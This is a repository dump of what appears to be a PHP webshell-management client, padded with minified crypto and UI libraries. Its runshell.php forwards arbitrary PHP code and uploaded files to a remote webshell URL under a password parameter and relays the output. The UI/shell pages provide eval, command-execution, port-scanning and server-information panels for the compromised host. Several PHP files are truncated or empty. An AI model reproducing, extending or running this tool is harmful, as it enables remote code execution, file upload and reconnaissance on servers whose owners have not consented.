| -------------------------------------------------------------------------------- /UI/js/crypto/rc4-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(){function l(){for(var a=this._S,d=this._i,c=this._j,b=0,e=0;4>e;e++){var d=(d+1)%256,c=(c+a[d])%256,f=a[d];a[d]=a[c];a[c]=f;b|=a[(a[d]+a[c])%256]<<24-8*e}this._i=d;this._j=c;return b}var g=CryptoJS,k=g.lib.StreamCipher,h=g.algo,j=h.RC4=k.extend({_doReset:function(){for(var a=this._key,d=a.words,a=a.sigBytes,c=this._S=[],b=0;256>b;b++)c[b]=b;for(var e=b=0;256>b;b++){var f=b%a,e=(e+c[b]+(d[f>>>2]>>>24-8*(f%4)&255))%256,f=c[b];c[b]=c[e];c[e]=f}this._i=this._j=0},_doProcessBlock:function(a, 8 | d){a[d]^=l.call(this)},keySize:8,ivSize:0});g.RC4=k._createHelper(j);h=h.RC4Drop=j.extend({cfg:j.cfg.extend({drop:192}),_doReset:function(){j._doReset.call(this);for(var a=this.cfg.drop;0c;c++){if(16>c)d[c]=n[p+c]|0;else{var g=d[c-3]^d[c-8]^d[c-14]^d[c-16];d[c]=g<<1|g>>>31}g=(e<<5|e>>>27)+b+d[c];g=20>c?g+((f&h|~f&j)+1518500249):40>c?g+((f^h^j)+1859775393):60>c?g+((f&h|f&j|h&j)-1894007588):g+((f^h^ 8 | j)-899497514);b=j;j=h;h=f<<30|f>>>2;f=e;e=g}a[0]=a[0]+e|0;a[1]=a[1]+f|0;a[2]=a[2]+h|0;a[3]=a[3]+j|0;a[4]=a[4]+b|0},_doFinalize:function(){var b=this._data,d=b.words,a=8*this._nDataBytes,e=8*b.sigBytes;d[e>>>5]|=128<<24-e%32;d[(e+64>>>9<<4)+14]=Math.floor(a/4294967296);d[(e+64>>>9<<4)+15]=a;b.sigBytes=4*d.length;this._process();return this._hash},clone:function(){var b=l.clone.call(this);b._hash=this._hash.clone();return b}});k.SHA1=l._createHelper(b);k.HmacSHA1=l._createHmacHelper(b)})(); 9 | -------------------------------------------------------------------------------- /UI/js/crypto/sha224-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(){var b=CryptoJS,d=b.lib.WordArray,a=b.algo,c=a.SHA256,a=a.SHA224=c.extend({_doReset:function(){this._hash=new d.init([3238371032,914150663,812702999,4144912697,4290775857,1750603025,1694076839,3204075428])},_doFinalize:function(){var a=c._doFinalize.call(this);a.sigBytes-=4;return a}});b.SHA224=c._createHelper(a);b.HmacSHA224=c._createHmacHelper(a)})(); 8 | -------------------------------------------------------------------------------- /UI/js/crypto/sha256-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(k){for(var g=CryptoJS,h=g.lib,v=h.WordArray,j=h.Hasher,h=g.algo,s=[],t=[],u=function(q){return 4294967296*(q-(q|0))|0},l=2,b=0;64>b;){var d;a:{d=l;for(var w=k.sqrt(d),r=2;r<=w;r++)if(!(d%r)){d=!1;break a}d=!0}d&&(8>b&&(s[b]=u(k.pow(l,0.5))),t[b]=u(k.pow(l,1/3)),b++);l++}var n=[],h=h.SHA256=j.extend({_doReset:function(){this._hash=new v.init(s.slice(0))},_doProcessBlock:function(q,h){for(var a=this._hash.words,c=a[0],d=a[1],b=a[2],k=a[3],f=a[4],g=a[5],j=a[6],l=a[7],e=0;64>e;e++){if(16>e)n[e]= 8 | q[h+e]|0;else{var m=n[e-15],p=n[e-2];n[e]=((m<<25|m>>>7)^(m<<14|m>>>18)^m>>>3)+n[e-7]+((p<<15|p>>>17)^(p<<13|p>>>19)^p>>>10)+n[e-16]}m=l+((f<<26|f>>>6)^(f<<21|f>>>11)^(f<<7|f>>>25))+(f&g^~f&j)+t[e]+n[e];p=((c<<30|c>>>2)^(c<<19|c>>>13)^(c<<10|c>>>22))+(c&d^c&b^d&b);l=j;j=g;g=f;f=k+m|0;k=b;b=d;d=c;c=m+p|0}a[0]=a[0]+c|0;a[1]=a[1]+d|0;a[2]=a[2]+b|0;a[3]=a[3]+k|0;a[4]=a[4]+f|0;a[5]=a[5]+g|0;a[6]=a[6]+j|0;a[7]=a[7]+l|0},_doFinalize:function(){var d=this._data,b=d.words,a=8*this._nDataBytes,c=8*d.sigBytes; 9 | b[c>>>5]|=128<<24-c%32;b[(c+64>>>9<<4)+14]=k.floor(a/4294967296);b[(c+64>>>9<<4)+15]=a;d.sigBytes=4*b.length;this._process();return this._hash},clone:function(){var b=j.clone.call(this);b._hash=this._hash.clone();return b}});g.SHA256=j._createHelper(h);g.HmacSHA256=j._createHmacHelper(h)})(Math); 10 | -------------------------------------------------------------------------------- /UI/js/crypto/sha3-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(y){for(var p=CryptoJS,m=p.lib,z=m.WordArray,q=m.Hasher,s=p.x64.Word,m=p.algo,v=[],w=[],x=[],c=1,d=0,l=0;24>l;l++){v[c+5*d]=(l+1)*(l+2)/2%64;var r=(2*c+3*d)%5,c=d%5,d=r}for(c=0;5>c;c++)for(d=0;5>d;d++)w[c+5*d]=d+5*((2*c+3*d)%5);c=1;for(d=0;24>d;d++){for(var t=r=l=0;7>t;t++){if(c&1){var u=(1<u?r^=1<c;c++)j[c]=s.create();m=m.SHA3=q.extend({cfg:q.cfg.extend({outputLength:512}),_doReset:function(){for(var c=this._state= 8 | [],n=0;25>n;n++)c[n]=new s.init;this.blockSize=(1600-2*this.cfg.outputLength)/32},_doProcessBlock:function(c,n){for(var h=this._state,d=this.blockSize/2,b=0;b>>24)&16711935|(e<<24|e>>>8)&4278255360,f=(f<<8|f>>>24)&16711935|(f<<24|f>>>8)&4278255360,a=h[b];a.high^=f;a.low^=e}for(d=0;24>d;d++){for(b=0;5>b;b++){for(var k=e=0,g=0;5>g;g++)a=h[b+5*g],e^=a.high,k^=a.low;a=j[b];a.high=e;a.low=k}for(b=0;5>b;b++){a=j[(b+4)%5];e=j[(b+1)%5];f=e.high;g=e.low;e=a.high^ 9 | (f<<1|g>>>31);k=a.low^(g<<1|f>>>31);for(g=0;5>g;g++)a=h[b+5*g],a.high^=e,a.low^=k}for(f=1;25>f;f++)a=h[f],b=a.high,a=a.low,g=v[f],32>g?(e=b<>>32-g,k=a<>>32-g):(e=a<>>64-g,k=b<>>64-g),a=j[w[f]],a.high=e,a.low=k;a=j[0];b=h[0];a.high=b.high;a.low=b.low;for(b=0;5>b;b++)for(g=0;5>g;g++)f=b+5*g,a=h[f],e=j[f],f=j[(b+1)%5+5*g],k=j[(b+2)%5+5*g],a.high=e.high^~f.high&k.high,a.low=e.low^~f.low&k.low;a=h[0];b=x[d];a.high^=b.high;a.low^=b.low}},_doFinalize:function(){var c=this._data, 10 | d=c.words,h=8*c.sigBytes,j=32*this.blockSize;d[h>>>5]|=1<<24-h%32;d[(y.ceil((h+1)/j)*j>>>5)-1]|=128;c.sigBytes=4*d.length;this._process();for(var c=this._state,d=this.cfg.outputLength/8,h=d/8,j=[],b=0;b>>24)&16711935|(f<<24|f>>>8)&4278255360,e=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360;j.push(e);j.push(f)}return new z.init(j,d)},clone:function(){for(var c=q.clone.call(this),d=c._state=this._state.slice(0),h=0;25>h;h++)d[h]=d[h].clone();return c}}); 11 | p.SHA3=q._createHelper(m);p.HmacSHA3=q._createHmacHelper(m)})(Math); 12 | -------------------------------------------------------------------------------- /UI/js/crypto/sha384-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(){var c=CryptoJS,a=c.x64,b=a.Word,e=a.WordArray,a=c.algo,d=a.SHA512,a=a.SHA384=d.extend({_doReset:function(){this._hash=new e.init([new b.init(3418070365,3238371032),new b.init(1654270250,914150663),new b.init(2438529370,812702999),new b.init(355462360,4144912697),new b.init(1731405415,4290775857),new b.init(2394180231,1750603025),new b.init(3675008525,1694076839),new b.init(1203062813,3204075428)])},_doFinalize:function(){var a=d._doFinalize.call(this);a.sigBytes-=16;return a}});c.SHA384= 8 | d._createHelper(a);c.HmacSHA384=d._createHmacHelper(a)})(); 9 | -------------------------------------------------------------------------------- /UI/js/crypto/x64-core-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(g){var a=CryptoJS,f=a.lib,e=f.Base,h=f.WordArray,a=a.x64={};a.Word=e.extend({init:function(b,c){this.high=b;this.low=c}});a.WordArray=e.extend({init:function(b,c){b=this.words=b||[];this.sigBytes=c!=g?c:8*b.length},toX32:function(){for(var b=this.words,c=b.length,a=[],d=0;darticle,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}"; 6 | c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode|| 7 | "undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f); 8 | if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d\$out]);"; 19 | doEvalCode(postCode,function(data){ 20 | document.getElementById('portScanResShow').innerHTML=""; 21 | var jsonObj=JSON.parse(data); 22 | for(var i=0;i' 25 | +jsonObj.resInfo[i][0]+':'+jsonObj.resInfo[i][1]+'' 26 | 27 | +(jsonObj.resInfo[i][2]=='open'?'开放':'关闭') 28 | +''; 29 | } 30 | document.getElementById('varContainer').innerHTML+='
'; 31 | document.getElementById('varContainer').innerHTML+='



'; 32 | document.getElementById('varContainer').innerHTML+='
'; 33 | }); 34 | } -------------------------------------------------------------------------------- /UI/js/tinyscrollbar.js: -------------------------------------------------------------------------------- 1 | (function(a){a.tiny=a.tiny||{};a.tiny.scrollbar={options:{axis:"y",wheel:40,scroll:true,lockscroll:true,size:"auto",sizethumb:"auto",invertscroll:false}};a.fn.tinyscrollbar=function(d){var c=a.extend({},a.tiny.scrollbar.options,d);this.each(function(){a(this).data("tsb",new b(a(this),c))});return this};a.fn.tinyscrollbar_update=function(c){return a(this).data("tsb").update(c)};function b(q,g){var k=this,t=q,j={obj:a(".viewport",q)},h={obj:a(".overview",q)},d={obj:a(".scrollbar",q)},m={obj:a(".track",d.obj)},p={obj:a(".thumb",d.obj)},l=g.axis==="x",n=l?"left":"top",v=l?"Width":"Height",r=0,y={start:0,now:0},o={},e="ontouchstart" in document.documentElement;function c(){k.update();s();return k}this.update=function(z){j[g.axis]=j.obj[0]["offset"+v];h[g.axis]=h.obj[0]["scroll"+v];h.ratio=j[g.axis]/h[g.axis];d.obj.toggleClass("disable",h.ratio>=1);m[g.axis]=g.size==="auto"?j[g.axis]:g.size;p[g.axis]=Math.min(m[g.axis],Math.max(0,(g.sizethumb==="auto"?(m[g.axis]*h.ratio):g.sizethumb)));d.ratio=g.sizethumb==="auto"?(h[g.axis]/m[g.axis]):(h[g.axis]-j[g.axis])/(m[g.axis]-p[g.axis]);r=(z==="relative"&&h.ratio<=1)?Math.min((h[g.axis]-j[g.axis]),Math.max(0,r)):0;r=(z==="bottom"&&h.ratio<=1)?(h[g.axis]-j[g.axis]):isNaN(parseInt(z,10))?r:parseInt(z,10);w()};function w(){var z=v.toLowerCase();p.obj.css(n,r/d.ratio);h.obj.css(n,-r);o.start=p.obj.offset()[n];d.obj.css(z,m[g.axis]);m.obj.css(z,m[g.axis]);p.obj.css(z,p[g.axis])}function s(){if(!e){p.obj.bind("mousedown",i);m.obj.bind("mouseup",u)}else{j.obj[0].ontouchstart=function(z){if(1===z.touches.length){i(z.touches[0]);z.stopPropagation()}}}if(g.scroll&&window.addEventListener){t[0].addEventListener("DOMMouseScroll",x,false);t[0].addEventListener("mousewheel",x,false)}else{if(g.scroll){t[0].onmousewheel=x}}}function i(A){a("body").addClass("noSelect");var z=parseInt(p.obj.css(n),10);o.start=l?A.pageX:A.pageY;y.start=z=="auto"?0:z;if(!e){a(document).bind("mousemove",u);a(document).bind("mouseup",f);p.obj.bind("mouseup",f)}else{document.ontouchmove=function(B){B.preventDefault();u(B.touches[0])};document.ontouchend=f}}function x(B){if(h.ratio<1){var A=B||window.event,z=A.wheelDelta?A.wheelDelta/120:-A.detail/3;r-=z*g.wheel;r=Math.min((h[g.axis]-j[g.axis]),Math.max(0,r));p.obj.css(n,r/d.ratio);h.obj.css(n,-r);if(g.lockscroll||(r!==(h[g.axis]-j[g.axis])&&r!==0)){A=a.event.fix(A);A.preventDefault()}}}function u(z){if(h.ratio<1){if(g.invertscroll&&e){y.now=Math.min((m[g.axis]-p[g.axis]),Math.max(0,(y.start+(o.start-(l?z.pageX:z.pageY)))))}else{y.now=Math.min((m[g.axis]-p[g.axis]),Math.max(0,(y.start+((l?z.pageX:z.pageY)-o.start))))}r=y.now*d.ratio;h.obj.css(n,-r);p.obj.css(n,y.now)}}function f(){a("body").removeClass("noSelect");a(document).unbind("mousemove",u);a(document).unbind("mouseup",f);p.obj.unbind("mouseup",f);document.ontouchmove=document.ontouchend=null}return c()}}(jQuery)); -------------------------------------------------------------------------------- /UI/runshell.php: -------------------------------------------------------------------------------- 1 | url; 27 | $pass=@$decodeData->pass; 28 | $code=@$decodeData->code; 29 | } 30 | 31 | } 32 | 33 | 34 | if(!empty($URL)&&!empty($pass)&&!empty($code)){ 35 | $phpcode = trim($code); 36 | 37 | $postArray=array(); 38 | $postArray[$pass]=$phpcode; 39 | 40 | //文件处理 41 | if(!empty($_FILES)){ 42 | foreach($_FILES as $key=>$value){ 43 | move_uploaded_file($value['tmp_name'], $value['name']); 44 | $postArray[$key]='@'.realpath($value['name']); 45 | } 46 | } 47 | 48 | //处理shell 49 | foreach($_POST as $key=>$value){ 50 | if($key!='URL'&&$key!='pass'&&$key!='code'){ 51 | $postArray[$key]=$value; 52 | } 53 | } 54 | 55 | //获取数据 56 | DataTransport::go($URL,$postArray); 57 | 58 | //处理数据 59 | foreach ( preg_split( '/[\r\n]+/', DataTransport::$header ) as $headertext ) { 60 | header( $headertext ); 61 | } 62 | print(DataTransport::$response); 63 | 64 | //删除临时文件 65 | if(!empty($_FILES)){ 66 | foreach($_FILES as $key=>$value){ 67 | unlink($value['name']); 68 | } 69 | } 70 | } 71 | else{ 72 | echo '500'; 73 | } 74 | 75 | 76 | 77 | ?> -------------------------------------------------------------------------------- /UI/shell/eval.php: -------------------------------------------------------------------------------- 1 | 12 |
13 | 14 |
15 | 16 | 17 |
18 |

eval PHP代码

19 |
20 | 21 |
22 |
23 | 24 | 25 | 26 |
27 | 28 |
29 | 30 | 需要eval的代码 31 |
32 |
33 | 34 |
35 |
36 | 37 | 38 | 39 | 45 | 46 |
47 | 48 |
49 | 50 | 51 | 52 |
53 | 54 | 55 |
56 | 57 | 58 | 59 |
60 |

eval结果 61 |
62 | 63 | 64 |
65 |

66 | 67 | 68 | 69 |
70 |
71 |
72 | 73 |
74 |
75 |
76 | 77 | 78 | 79 | 80 |
81 | 82 |
-------------------------------------------------------------------------------- /UI/shell/exec.php: -------------------------------------------------------------------------------- 1 | 11 |
12 | 13 |
14 | 15 | 16 |
17 |

命令执行

18 |
19 | 20 |
21 |
22 | 23 | 24 | 25 |
26 | 27 |
28 | 29 | 命令执行 30 |
31 |
32 | 33 |
34 |
35 | 36 | 37 | 38 | 46 | 47 |
48 | 49 |
50 | 51 | 52 | 53 |
54 | 55 | 56 | 57 |
58 | -------------------------------------------------------------------------------- /UI/shell/portScan.php: -------------------------------------------------------------------------------- 1 | 10 |
11 | 12 |
13 | 14 |
15 | 16 |
17 |

端口扫描

18 |
19 | 20 | 21 | 22 |
23 | 24 |
25 | 26 |
27 | 28 |
29 | 30 |
31 |
32 | 33 |
34 | 35 |
36 | 37 |
38 |
39 | 40 | 46 | 47 |
48 | 49 |
50 | 51 |
52 | 53 | 54 |
55 | 56 | 57 |
58 | 59 | -------------------------------------------------------------------------------- /UI/shell/securityInfo.php: -------------------------------------------------------------------------------- 1 | 10 |
11 |
12 | 13 |
14 | 15 |
16 | 17 |
18 |

安全信息

19 |
20 | 21 | 22 |
23 | 数据载入中…… 24 |
25 | 26 |
27 | 28 |
29 | 30 |
31 | 32 |
33 | -------------------------------------------------------------------------------- /UI/shell/var.php: -------------------------------------------------------------------------------- 1 | 10 |
11 | 12 |
13 | 14 |
15 | 16 |
17 |

PHP 系统变量

18 |
19 | 20 | 21 |
22 |
23 | 24 | 25 |
26 |
27 | 数据载入中…… 28 |
29 |
30 | 31 |
32 | 33 |
34 | 35 |
-------------------------------------------------------------------------------- /UI/test.php: -------------------------------------------------------------------------------- 1 | 2) { 12 | unset($pathdb[$num-1]); 13 | } 14 | $uppath = implode('/', $pathdb).'/'; 15 | $uppath = str_replace('//', '/', $uppath); 16 | return $uppath; 17 | } 18 | echo getUpPath('/Users/abcdlzy/Documents/GDWeb/CA/1151220136/Data'); 19 | ?> -------------------------------------------------------------------------------- /UI/test/ajaxfileupload.css: -------------------------------------------------------------------------------- 1 | html, body 2 | { 3 | margin: 0; 4 | padding: 0; 5 | } 6 | body 7 | { 8 | font: 12px/1.3em Arial, Helvetica, sans-serif; 9 | color: #000; 10 | background-color: #fff; 11 | } 12 | h1, h2, h3, h4, h5 13 | { 14 | margin: 0 0 1em; 15 | color: #F2683E; 16 | } 17 | h1 18 | { 19 | font-size: 18px; 20 | font-weight: normal; 21 | } 22 | p{margin: 0 0 1em;} 23 | a, 24 | a:link, 25 | a:visited{color: #F2683E;} 26 | a:hover, 27 | a:active{} 28 | a img{border: none;} 29 | form{margin: 0;} 30 | fieldset{padding: 0;} 31 | hr 32 | { 33 | height: 1px; 34 | border: none; 35 | color: #999; 36 | background-color: #999; 37 | } 38 | 39 | /* ~~~ === POSITIONG SELECTORS ======================================= ~~~ */ 40 | #wrapper 41 | { 42 | position: relative; 43 | width: 773px; 44 | height: 474px; 45 | } 46 | 47 | #content 48 | { 49 | float: left; 50 | display: inline; 51 | width: 541px; 52 | height: 341px; 53 | margin: 30px 0 0 8px; 54 | padding: 22px; 55 | } -------------------------------------------------------------------------------- /UI/test/ajaxfileupload.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | Ajax File Uploader Plugin For Jquery 4 | 5 | 6 | 7 | 50 | 51 | 52 | 53 |
54 |
55 |

Ajax File Upload Demo

56 |

Jquery File Upload Plugin - upload your files with only one input field

57 |

58 | need any Web-based Information System?
Please Contact Us
59 | We are specialized in
60 |

    61 |
  • Website Design
  • 62 |
  • Survey System Creation
  • 63 |
  • E-commerce Site Development
  • 64 |
65 | 66 |
67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 |
Please select a file and click Upload button
86 |
87 |
88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /UI/test/doajaxfileupload.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /data.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/data.php -------------------------------------------------------------------------------- /eval.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /openssl.cnf: -------------------------------------------------------------------------------- 1 | # minimalist openssl.cnf file for use with phpseclib 2 | 3 | HOME = . 4 | RANDFILE = $ENV::HOME/.rnd 5 | 6 | [ v3_ca ] 7 | -------------------------------------------------------------------------------- /test.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 1 6 | value 7 | 8 | 9 | 2 10 | value1 11 | 12 | 13 | 14 | 15 | 3 16 | value 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /uploadUpload.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /work.php: -------------------------------------------------------------------------------- 1 | createKey(2048); 14 | 15 | 16 | 17 | $trans=new DataTransport(); 18 | 19 | $PK="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfZJsfjJeuWAls6PHla82tM/Ht /YarqH73AVkS4bTzLkdxyIsz7/NxaMo8tOXsR5HEG8gKMP+i0txo18ydA2Q7AqJ4 ESzhZ9EwiU4JrxhIfDQCuaWZSanU3ECyvzAqNyjY/gws1oaigCd6hSRQAvqrbJSG via9fTBxHM+SETb00QIDAQAB -----END PUBLIC KEY-----"; 20 | 21 | $rsa->loadKey($PK); 22 | 23 | if($trans->start('http://localhost:63342/untitled/echo.php',array('data'=>$rsa->encrypt('123')))) 24 | { 25 | echo $trans->response; 26 | } 27 | else 28 | { 29 | echo $trans->errMsg; 30 | } 31 | 32 | 33 | ?> --------------------------------------------------------------------------------